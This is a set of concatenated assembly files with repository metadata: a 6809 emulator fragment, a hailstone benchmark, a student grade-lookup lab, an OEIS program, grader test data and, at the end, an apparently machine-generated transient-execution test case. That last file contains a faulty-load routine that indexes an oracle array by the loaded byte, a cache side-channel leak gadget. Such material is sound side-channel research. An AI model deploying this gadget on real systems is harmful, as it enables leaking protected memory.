jne @@cont ; no, continue
jmp OS9 ; hook for OS/9 operating system
@@cont: SEntireFlag
dec [S]
dec [S]
mov si,[S]
mov ax,[PC]
PutWord
dec [S]
dec [S]
mov si,[S]
mov ax,[U]
PutWord
dec [S]
dec [S]
mov si,[S]
mov ax,[Y]
PutWord
dec [S]
dec [S]
mov si,[S]
mov ax,[X]
PutWord
dec [S]
mov si,[S]
mov al,[DPR]
PutByte
dec [S]
dec [S]
mov si,[S]
mov ax,[D]
PutWord
dec [S]
mov si,[S]
mov al,[CC]
PutByte
mov si,0FFF4h ; point to 6809 interrupt vector
GetWord ; get vector
mov [PC],ax ; and put it in PC
ret ; alternate exit
endp mcSWI2
;*******************************************************************************
proc mcCMPD
call GetEffAddr
cmp [OpCode],83h ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
xchg ax,[D] ; swap with accumulator
cmp ax,[D] ; and do the comparison
xchg ax,[D] ; and swap back
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcCMPD
;*******************************************************************************
proc mcCMPY
call GetEffAddr
cmp [OpCode],8Ch ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
xchg ax,[Y] ; swap with accumulator
cmp ax,[Y] ; and do the comparison
xchg ax,[Y] ; and swap back
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcCMPY
;*******************************************************************************
proc mcSWI3
SEntireFlag
dec [S]
dec [S]
mov si,[S]
mov ax,[PC]
PutWord
dec [S]
dec [S]
mov si,[S]
mov ax,[U]
PutWord
dec [S]
dec [S]
mov si,[S]
mov ax,[Y]
PutWord
dec [S]
dec [S]
mov si,[S]
mov ax,[X]
PutWord
dec [S]
mov si,[S]
mov al,[DPR]
PutByte
dec [S]
dec [S]
mov si,[S]
mov ax,[D]
PutWord
dec [S]
mov si,[S]
mov al,[CC]
PutByte
mov si,0FFF2h ; point to 6809 interrupt vector
GetWord ; get vector
mov [PC],ax ; and put it in PC
ret
endp mcSWI3
;*******************************************************************************
proc mcCMPU
call GetEffAddr
cmp [OpCode],83h ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
xchg ax,[U] ; swap with accumulator
cmp ax,[U] ; and do the comparison
xchg ax,[U] ; and swap back
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcCMPU
;*******************************************************************************
proc mcCMPS
call GetEffAddr
cmp [OpCode],8Ch ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
xchg ax,[S] ; swap with accumulator
cmp ax,[S] ; and do the comparison
xchg ax,[S] ; and swap back
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcCMPS
;*******************************************************************************
proc mcSTY
mov ax,[Y] ; get the 6809 register
call GetEffAddr
PutWord
cmp ax,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSTY
;*******************************************************************************
proc mcSTS
mov ax,[S] ; get the 6809 register
call GetEffAddr
PutWord
cmp ax,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSTS
;*******************************************************************************
proc mcLDY
call GetEffAddr
cmp [OpCode],8Eh ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
mov [Y],ax ; put it in 6809 register
cmp ax,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcLDY
;*******************************************************************************
proc mcLDS
call GetEffAddr
cmp [OpCode],0CEh ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
mov [S],ax ; put it in 6809 register
cmp ax,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcLDS
| 34.89942
| 80
| 0.342986
|
8a53eea12bdf3e6ebaedce48bd2c619688276f00
| 4,647
|
asm
|
Assembly
|
Octavo/Assembler/benchmarks/hailstone-a/hailstone-a.asm
|
laforest/Octavo
|
e3041ad98c58eeff1f59e65b01da1eb458a0d591
|
[
"BSD-2-Clause"
] | 63
|
2015-03-16T08:37:44.000Z
|
2021-11-15T00:35:14.000Z
|
Octavo/Assembler/benchmarks/hailstone-a/hailstone-a.asm
|
laforest/Octavo
|
e3041ad98c58eeff1f59e65b01da1eb458a0d591
|
[
"BSD-2-Clause"
] | 55
|
2015-01-11T02:05:57.000Z
|
2019-03-20T00:12:32.000Z
|
Octavo/Assembler/benchmarks/hailstone-a/hailstone-a.asm
|
laforest/Octavo
|
e3041ad98c58eeff1f59e65b01da1eb458a0d591
|
[
"BSD-2-Clause"
] | 13
|
2016-05-13T10:23:45.000Z
|
2021-11-15T00:35:13.000Z
|
# Hailstone-A
# Apply modified Hailstone (If x is odd: x = (3x+1)/2, else x = x/2)
# to a single seed, accelerated through a table look-up.
# ECL FIXME INCOMPLETE!!! Needs assembler support (see DESIGN_NOTES)
# Common library of definitions
include ../common/opcodes.asm
include ../common/conditions.asm
# Shared Variables
# N-1 for N loops
steps shared 27 # 222 steps / 8 threads
lower_mask shared 0xFFFFFFF00 # Mask-off all but lower 8 bits
rshift_8 shared 268435456 # 2**(36-8) = 2**28 (take upper product as right shift by 8)
mult_A port A 0 # Multiplier operand, and lower word of product
mult_B port B 0 # Multiplier operand, and upper word of product
seed_out port A 3 # output port for current result
# Precomputed lookahead on 8 LSB of sequence
lookahead shared 0 1 2 2 1 1 1 8 2 10 2 4 2 2 5 5 1 2 20 20 1 1 8 8 1 26 1 242 10 10 10 91 2 11 4 4 13 13 13 38 2 121 2 14 5 5 5 137 2 17 17 17 2 2 161 161 20 56 20 19 20 20 182 182 1 7 22 22 8 8 8 206 26 71 26 8 26 26 76 76 1 80 242 242 1 1 28 28 10 29 10 263 10 10 91 91 4 94 11 11 11 11 11 890 4 101 4 103 107 107 107 319 13 4 37 37 13 13 38 38 40 350 40 118 121 121 364 1093 2 125 14 14 44 44 44 43 5 395 5 134 5 5 137 137 17 47 47 47 17 17 16 16 17 49 17 445 152 152 152 1367 2 155 53 53 161 161 161 479 2 1457 2 164 56 56 56 167 20 19 19 19 20 20 175 175 20 59 20 179 182 182 182 1640 8 62 188 188 7 7 7 190 22 64 22 65 22 22 593 593 8 67 202 202 8 8 206 206 71 23 71 209 71 71 638 638 26 647 8 8 74 74 74 661 26 668 26 674 76 76 76 2051 80 26 233 233 80 80 236 236 242 238 242 719 728 728 2186 6560
# Count of odd numbers encountered over lookahead sequence calculation, cubed.
oddcntcbd shared 1 81 81 81 27 27 27 243 27 243 27 81 27 27 81 81 9 27 243 243 9 9 81 81 9 243 9 2187 81 81 81 729 9 81 27 27 81 81 81 243 9 729 9 81 27 27 27 729 9 81 81 81 9 9 729 729 81 243 81 81 81 81 729 729 3 27 81 81 27 27 27 729 81 243 81 27 81 81 243 243 3 243 729 729 3 3 81 81 27 81 27 729 27 27 243 243 9 243 27 27 27 27 27 2187 9 243 9 243 243 243 243 729 27 9 81 81 27 27 81 81 81 729 81 243 243 243 729 2187 3 243 27 27 81 81 81 81 9 729 9 243 9 9 243 243 27 81 81 81 27 27 27 27 27 81 27 729 243 243 243 2187 3 243 81 81 243 243 243 729 3 2187 3 243 81 81 81 243 27 27 27 27 27 27 243 243 27 81 27 243 243 243 243 2187 9 81 243 243 9 9 9 243 27 81 27 81 27 27 729 729 9 81 243 243 9 9 243 243 81 27 81 243 81 81 729 729 27 729 9 9 81 81 81 729 27 729 27 729 81 81 81 2187 81 27 243 243 81 81 243 243 243 243 243 729 729 729 2187 6561
# Private Variables
threads 0 1 2 3 4 5 6 7
seed private 77031 # longest hailstone sequence for seed < 100,000 (222 terms)
lower private 0 # lower 8 bits of seed
upper private 0 # upper 28 bits of seed
temp private 0 # intermediate calculation
# We'll be indexing into these tables, so we need to add to the init values
lookahead_ptr pointer lookahead 0 0
oddcntcbd_ptr pointer oddcntcbd 0 0
# Code
preload nop add and dmv
start init even #
init output #
init next_seed #
hailstone init seeds_rd #
init seeds_wr #
init hailstone #
next_seed and lower seed lower_mask # Compute table index
dmv mult_A mult_B seed rshift_8 # Do right shift by 8
add oddcntcbd_ptr_config lower oddcntcbd_ptr_init # index into table
add lookahead_ptr_config lower lookahead_ptr_init # index into table
dmv mult_A mult_B oddcntcbd_ptr mult_B # compute partial result
nop 0 0 0 # wait for multiplier
add seed mult_A lookahead_ptr # finish computing result
ctz unpredicted steps done # If we have done all the steps, go to "stop" loop
jmp unpredicted next_seed # else do the next seed
done nop 0 0 0 # Wait forever here
jmp unpredicted done
# Set starting point (PC) for each thread
program_counter start start start start start start start start
| 67.347826
| 849
| 0.590058
|
32022bc2d363acd98839b9f3341f4471cd8baa4a
| 7,190
|
asm
|
Assembly
|
3-Assemble(80x86)/lab-3/task1_1.asm
|
ftxj/4th-Semester
|
1d5c7e7e028176524bdafc64078775d42b73b51c
|
[
"MIT"
] | null | null | null |
3-Assemble(80x86)/lab-3/task1_1.asm
|
ftxj/4th-Semester
|
1d5c7e7e028176524bdafc64078775d42b73b51c
|
[
"MIT"
] | null | null | null |
3-Assemble(80x86)/lab-3/task1_1.asm
|
ftxj/4th-Semester
|
1d5c7e7e028176524bdafc64078775d42b73b51c
|
[
"MIT"
] | null | null | null |
.386
STACK SEGMENT USE16 STACK
DB 256 DUP(0)
STACK ENDS
DATA SEGMENT USE16
N EQU 30
M EQU 5000
BUF DB 'ZHANGSAN',0,0
DB 100,85,80,?
DB 'LISI',6 DUP(0)
DB 80,100,70,?
DB 'TTTT',6 DUP(0)
DB 69,69,69,?
DB 'HLF',7 DUP(0)
DB 91,91,91,?
DB N-5 DUP('TEMPVALUE',0,80,90,95,?)
DB 'LIPEIHAO',0,0
DB 85,100,85,?
IN_NAME DB 11;Input buffer memory area
DB ?;the length of input
DB 11 DUP(0);the content of input
POIN DW 0;to restore the aim of search result
PUT1 DB 'Please enter the student',27H,'s name to inquire!'
PUT0 DB 0AH,0DH,'$'
PUT2 DB 'SUCCESS_FIND!',0AH,0DH,'$'
PUT3 DB 'FAIL_FIND!',0AH,0DH,'$'
PUT4 DB 'THIS STUDENT',27H,'S RANK IS THE '
PUT5 DB ?,':',?,?,?,' !',0AH,0DH,'$'
CACH DB 3 DUP(0)
DB 7 DUP(1)
DB 7 DUP(2)
DB 7 DUP(3)
DB 7 DUP(4)
DB 7 DUP(5)
DB 7 DUP(6)
DB 7 DUP(7)
DB 7 DUP(8)
DB 7 DUP(9)
DB 7 DUP(10)
DB 7 DUP(11)
DB 7 DUP(12)
DB 7 DUP(13)
DB 7 DUP(14)
DB 7 DUP(15)
DB 7 DUP(16)
DB 7 DUP(17)
DB 7 DUP(18)
DB 7 DUP(19)
DB 7 DUP(20)
DB 7 DUP(21)
DB 7 DUP(22)
DB 7 DUP(23)
DB 7 DUP(24)
DB 7 DUP(25)
DB 7 DUP(26)
DB 7 DUP(27)
DB 7 DUP(28)
DB 7 DUP(29)
DB 7 DUP(30)
DB 7 DUP(31)
DB 7 DUP(32)
DB 7 DUP(33)
DB 7 DUP(34)
DB 7 DUP(35)
DB 7 DUP(36)
DB 7 DUP(37)
DB 7 DUP(38)
DB 7 DUP(39)
DB 7 DUP(40)
DB 7 DUP(41)
DB 7 DUP(42)
DB 7 DUP(43)
DB 7 DUP(44)
DB 7 DUP(45)
DB 7 DUP(46)
DB 7 DUP(47)
DB 7 DUP(48)
DB 7 DUP(49)
DB 7 DUP(50)
DB 7 DUP(51)
DB 7 DUP(52)
DB 7 DUP(53)
DB 7 DUP(54)
DB 7 DUP(55)
DB 7 DUP(56)
DB 7 DUP(57)
DB 7 DUP(58)
DB 7 DUP(59)
DB 7 DUP(60)
DB 7 DUP(61)
DB 7 DUP(62)
DB 7 DUP(63)
DB 7 DUP(64)
DB 7 DUP(65)
DB 7 DUP(66)
DB 7 DUP(67)
DB 7 DUP(68)
DB 7 DUP(69)
DB 7 DUP(70)
DB 7 DUP(71)
DB 7 DUP(72)
DB 7 DUP(73)
DB 7 DUP(74)
DB 7 DUP(75)
DB 7 DUP(76)
DB 7 DUP(77)
DB 7 DUP(78)
DB 7 DUP(79)
DB 7 DUP(80)
DB 7 DUP(81)
DB 7 DUP(82)
DB 7 DUP(83)
DB 7 DUP(84)
DB 7 DUP(85)
DB 7 DUP(86)
DB 7 DUP(87)
DB 7 DUP(88)
DB 7 DUP(89)
DB 7 DUP(90)
DB 7 DUP(91)
DB 7 DUP(92)
DB 7 DUP(93)
DB 7 DUP(94)
DB 7 DUP(95)
DB 7 DUP(96)
DB 7 DUP(97)
DB 7 DUP(98)
DB 7 DUP(99)
DB 14 DUP(100)
DATA ENDS
CODE SEGMENT USE16
ASSUME CS: CODE, DS: DATA, SS: STACK
START: MOV AX,DATA
MOV DS,AX
MOV ES,AX
MOV AX,STACK
MOV SS,AX
MOV SP,0100H
JMP MENU;jump to the menu
OVER: MOV AH,4CH;end the program
INT 21H
MENU:
CALL SUB0;invoke the SUB0 function
M00: CALL SUB1;invoke the SUB1 function
JMP M00
;*******************************************
SUB0 PROC ;calculate and restore the average grade
MOV CX,N
LEA EBX,BUF
S00: PUSH EBX
MOV DWORD PTR EAX,DS:[EBX+10];the grade -> AL
SHL EAX,1
;MOV DX,0
MOVZX DX,AL
SHL DX,1
;MOV BX,0
MOVZX BX,AH
ADD BX,DX
SHR EAX,17
XOR AH,AH;MOV AH,0
ADD BX,AX;THE SUM -> BX
MOV AL,CACH[BX]
POP EBX
ADD EBX,14
MOV DS:[EBX-1],AL;restore the average grade
LOOP S00
RET
SUB0 ENDP
;*******************************************
SUB1 PROC;提示并输入学生姓名
LEA DX,PUT1;输出提示符
MOV AH,9
INT 21H
LEA DX,IN_NAME;输入学生姓名
MOV AH,10
INT 21H
LEA DX,PUT0
MOV AH,9
INT 21H
LEA BX,IN_NAME;输入为回车则重新提示输入
MOV AL,0DH
CMP AL,DS:[BX+2]
JE SUB1
MOV AL,'Q';输入为q则退出
CMP DS:[BX+2],AL
JE OVER
MOV AL,'q';同上
CMP DS:2[BX],AL
JE OVER
MOVZX AX,BYTE PTR DS:1[BX];MOV AL,DS:1[BX];换行符置0
;MOV AH,0
ADD BX,AX
MOV BYTE PTR DS:2[BX],0
XOR AX,AX;MOV AX,0
CALL TIMER;START TO TIMER
MOV CX,M
T2: PUSH CX;USE STACK TO AVOID CONFLICT OF CX
CALL SUB0
CALL SEARCH;搜索学生姓名
POP CX
LOOP T2
MOV AX,1
CALL TIMER
MOV CX,N
LEA DI,BUF
;CALL SEARNEW;搜索学生姓名
RET
SUB1 ENDP
;*********************************************************
SEARCH PROC ;搜索学生姓名
MOV CX,N
LEA DI,BUF
S11: PUSH EDI
PUSH CX
LEA EDX,IN_NAME+2
MOV ESI,EDX;the site of IN_NAME -> SI
MOV CL,IN_NAME+1
MOV CH,0
INC CX
REPZ CMPSB
JE SUCC
POP CX
POP EDI
ADD EDI,14
LOOP S11
JMP FAIL
RETU: RET
SUCC: ;查找成功
LEA DX,PUT2
MOV AH,9
;INT 21H;AVOID OUTPUT EFFECT THE RESULT OF RUNTIME THE SAME BELOW
POP CX
POP EDI
MOV WORD PTR [POIN],DI
;CALL RANK
JMP RETU
FAIL:;查找失败
LEA DX,PUT3
MOV AH,9
;INT 21H
JMP RETU
SEARCH ENDP
;*********************************************************
SEARNEW PROC ;搜索学生姓名
LEA EDX,IN_NAME+2
S12: PUSH EDI
MOV ESI,EDX;the site of IN_NAME -> SI
PUSH CX
MOVZX CX,BYTE PTR IN_NAME+1
INC CX
REPZ CMPSB
JE SUCC1
POP CX
POP EDI
ADD EDI,14
LOOP S12
JMP FAIL1
RETU1: RET
SUCC1: ;查找成功
LEA DX,PUT2
MOV AH,9
INT 21H;AVOID OUTPUT EFFECT THE RESULT OF RUNTIME THE SAME BELOW
POP CX
POP EDI
MOV WORD PTR [POIN],DI
PUSHA
CALL RANK
POPA
JMP RETU1
FAIL1:;查找失败
PUSHA
LEA DX,PUT3
MOV AH,9
INT 21H
POPA
JMP RETU1
SEARNEW ENDP
;********************************************
RANK PROC
LEA BX,PUT5
MOVZX AX,BYTE PTR DS:[DI+13]
;MOV AH,0
PUSH AX
CMP AX,100
MOV DL,10
DIV DL
ADD AL,30H
ADD AH,30H
MOV BYTE PTR DS:2[BX],AL
MOV BYTE PTR DS:3[BX],AH
POP AX
CMP AX,100
JNE LOW0
MOV DL,'1'
MOV BYTE PTR DS:2[BX],DL
LOW0: CMP AX,90
JB LOWA
MOV DL,'A'
JMP PT
LOWA: CMP AX,80
JB LOWB
MOV DL,'B'
JMP PT
LOWB: CMP AX,70
JB LOWC
MOV DL,'C'
JMP PT
LOWC: CMP AX,60
JB LOWD
MOV DL,'D'
JMP PT
LOWD: MOV DL,'F'
PT: MOV AH,9
MOV BYTE PTR DS:[BX],DL
LEA DX,PUT4
INT 21H
RET
RANK ENDP
;****************************************************
TIMER PROC
PUSH DX
PUSH CX
PUSH BX
MOV BX, AX
MOV AH, 2CH
INT 21H ;CH=hour(0-23),CL=minute(0-59),DH=second(0-59),DL=centisecond(0-100)
MOV AL, DH
MOV AH, 0
IMUL AX,AX,1000
MOV DH, 0
IMUL DX,DX,10
ADD AX, DX
CMP BX, 0
JNZ _T1
MOV CS:_TS, AX
_T0: POP BX
POP CX
POP DX
RET
_T1: SUB AX, CS:_TS
JNC _T2
ADD AX, 60000
_T2: MOV CX, 0
MOV BX, 10
_T3: MOV DX, 0
DIV BX
PUSH DX
INC CX
CMP AX, 0
JNZ _T3
MOV BX, 0
_T4: POP AX
ADD AL, '0'
MOV CS:_TMSG[BX], AL
INC BX
LOOP _T4
PUSH DS
MOV CS:_TMSG[BX+0], 0AH
MOV CS:_TMSG[BX+1], 0DH
MOV CS:_TMSG[BX+2], '$'
LEA DX, _TS+2
PUSH CS
POP DS
MOV AH, 9
INT 21H
POP DS
JMP _T0
_TS DW ?
DB 'Time elapsed in ms is '
_TMSG DB 12 DUP(0)
TIMER ENDP
;***********************************
disptime proc ;ÏÔʾÃëºÍ°Ù·ÖÃ룬¾«¶ÈΪ55ms¡£(δ±£»¤ax¼Ä´æÆ÷)
local timestr[8]:byte ;0,0,'"',0,0,0dh,0ah,'$'
push cx
push dx
push ds
push ss
pop ds
mov ah,2ch
int 21h
xor ax,ax
mov al,dh
mov cl,10
div cl
add ax,3030h
mov word ptr timestr,ax
mov timestr+2,'"'
xor ax,ax
mov al,dl
div cl
add ax,3030h
mov word ptr timestr+3,ax
mov word ptr timestr+5,0a0dh
mov timestr+7,'$'
lea dx,timestr
mov ah,9
int 21h
pop ds
pop dx
pop cx
ret
disptime endp
CODE ENDS
END START
| 15.297872
| 84
| 0.550904
|
ae5373ee22fd732c3f16ea5f55f9c19befa51601
| 748
|
asm
|
Assembly
|
oeis/254/A254282.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/254/A254282.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/254/A254282.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A254282: Expansion of (1-(1-27*x)^(1/3)) / (9*x).
; Submitted by Christian Krause
; 1,9,135,2430,48114,1010394,22084326,496897335,11428638705,267430145697,6345388002447,152289312058728,3690087176807640,90143558176300920,2217531531137002632,54883905395640815142,1365640704844474400298,34141017621111860007450,857119231856334590713350,21599404642779631685976420,546156374538856401202546620,13852511681485539630500955180,352335623203001768862741686100,8984558391676545105999912995550,229645312491252492909357776166258,5882453004583621549139703035643378
mov $1,$0
mov $0,3
pow $0,$1
seq $1,97188 ; G.f. A(x) satisfies A057083(x*A(x)) = A(x) and so equals the ratio of the g.f.s of any two adjacent diagonals of triangle A097186.
mul $1,$0
mov $0,$1
| 68
| 467
| 0.830214
|
7016932d889298c6fa572935ca3f6b69c3833a87
| 2,019
|
asm
|
Assembly
|
klc3-manual/examples/zjui_ece220_fa20/mp2/test_data.asm
|
liuzikai/klc3
|
0c7c1504158f1cce3e6bff32f69b4cb3067cffff
|
[
"NCSA"
] | null | null | null |
klc3-manual/examples/zjui_ece220_fa20/mp2/test_data.asm
|
liuzikai/klc3
|
0c7c1504158f1cce3e6bff32f69b4cb3067cffff
|
[
"NCSA"
] | null | null | null |
klc3-manual/examples/zjui_ece220_fa20/mp2/test_data.asm
|
liuzikai/klc3
|
0c7c1504158f1cce3e6bff32f69b4cb3067cffff
|
[
"NCSA"
] | null | null | null |
.ORIG x4000
; KLC3: INPUT_FILE
; KLC3: SET_DATA_DEFAULT_FLAG READ_ONLY
; KLC3: COMMENT This file contains the test input event list.
; KLC3: COMMENT Note that this file may contains additional things after the end of event list.
; KLC3: COMMENT Please carefully identify the end of the event list.
; Weekday bit vector
; A bit vector of -1 ends the event list.
; May assume all bit vectors have 0 bits in the high 11 bits.
; May not assume that event bit vectors are non-zero.
; Event name
; May not assume that event strings are non-empty.
; Event slot
; Report invalid slot number
; Report conflict
.BLKW #1 ; KLC3: SYMBOLIC as EVENT1_WEEKDAY_BV
; KLC3: SYMBOLIC EVENT1_WEEKDAY_BV >= #-1
; KLC3: SYMBOLIC EVENT1_WEEKDAY_BV <= x1F
; -1, 0 to b11111
.STRINGZ "A" ; KLC3: INPUT EVENT1_NAME
.BLKW #1 ; KLC3: SYMBOLIC as EVENT1_SLOT
; KLC3: SYMBOLIC EVENT1_SLOT >= #-1 & EVENT1_SLOT <= #1 | EVENT1_SLOT == #14 | EVENT1_SLOT == #15
; -1 (invalid), 0, 1, 14, 15 (invalid)
.BLKW #1 ; KLC3: SYMBOLIC as EVENT2_WEEKDAY_BV
; KLC3: SYMBOLIC EVENT2_WEEKDAY_BV == #-1 | EVENT2_WEEKDAY_BV == x1F | EVENT2_WEEKDAY_BV == #7 | EVENT2_WEEKDAY_BV == #28
; -1, b11111, b00111, b11100
.STRINGZ "BBBBBBBBBB" ; KLC3: INPUT EVENT2_NAME
.BLKW #1 ; KLC3: SYMBOLIC as EVENT2_SLOT
; KLC3: SYMBOLIC EVENT2_SLOT == #0 | EVENT2_SLOT == #14
.BLKW #1 ; KLC3: SYMBOLIC as EVENT3_WEEKDAY_BV
; KLC3: SYMBOLIC EVENT3_WEEKDAY_BV == #-1 | EVENT3_WEEKDAY_BV == x1F | EVENT3_WEEKDAY_BV == #3 | EVENT3_WEEKDAY_BV == #24
; -1, b11111, b00011, b11000
.STRINGZ "" ; KLC3: INPUT EVENT3_NAME
.FILL #1 ; KLC3: INPUT EVENT3_SLOT
.FILL #-1 ; Mark the end of the schedule
.END
| 42.0625
| 145
| 0.584943
|
ae34af71e462d96357d828d4bf6dda22ccc2c0c7
| 3,947
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_8_846.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_8_846.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_8_846.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x18d61, %r9
clflush (%r9)
nop
nop
nop
xor $43432, %rbx
vmovups (%r9), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %rbp
nop
and %r9, %r9
lea addresses_normal_ht+0x13ae1, %rsi
nop
nop
nop
nop
dec %r15
mov $0x6162636465666768, %r14
movq %r14, %xmm1
and $0xffffffffffffffc0, %rsi
vmovaps %ymm1, (%rsi)
nop
xor $54231, %rbx
lea addresses_WC_ht+0x1a921, %rsi
lea addresses_UC_ht+0x13e61, %rdi
nop
dec %r15
mov $69, %rcx
rep movsb
lfence
lea addresses_normal_ht+0xe241, %r14
nop
cmp $7282, %r15
mov (%r14), %si
nop
nop
nop
nop
nop
add $62052, %r9
lea addresses_D_ht+0x336f, %rdi
nop
nop
xor $22613, %rcx
movb $0x61, (%rdi)
nop
nop
sub $47241, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_D+0x6641, %rcx
clflush (%rcx)
nop
nop
nop
nop
sub %rbp, %rbp
mov $0x5152535455565758, %rdi
movq %rdi, %xmm0
movups %xmm0, (%rcx)
nop
nop
nop
nop
cmp $38859, %rdi
// Store
lea addresses_normal+0x1e01, %r8
nop
nop
and %rsi, %rsi
movl $0x51525354, (%r8)
nop
cmp $26047, %rdi
// Store
lea addresses_WC+0x3dc1, %r8
cmp $35962, %rsi
movw $0x5152, (%r8)
nop
nop
nop
nop
nop
dec %r14
// Store
lea addresses_RW+0x16241, %rdi
nop
nop
nop
add %rcx, %rcx
mov $0x5152535455565758, %rdx
movq %rdx, (%rdi)
nop
cmp $61547, %rdi
// Store
lea addresses_RW+0x1aa41, %r14
nop
and $7520, %rbp
mov $0x5152535455565758, %rcx
movq %rcx, (%r14)
nop
nop
nop
cmp $20859, %rbp
// Load
lea addresses_WC+0xa8c9, %rdx
and $15214, %rdi
movb (%rdx), %r8b
nop
cmp %rbp, %rbp
// Store
lea addresses_RW+0x16241, %rsi
nop
nop
nop
and $53789, %r14
movb $0x51, (%rsi)
nop
nop
nop
nop
add $14000, %r8
// Faulty Load
lea addresses_RW+0x16241, %r14
nop
nop
inc %rbp
movb (%r14), %dl
lea oracles, %r8
and $0xff, %rdx
shlq $12, %rdx
mov (%r8,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_normal', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WC', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_RW', 'size': 8, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 1, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
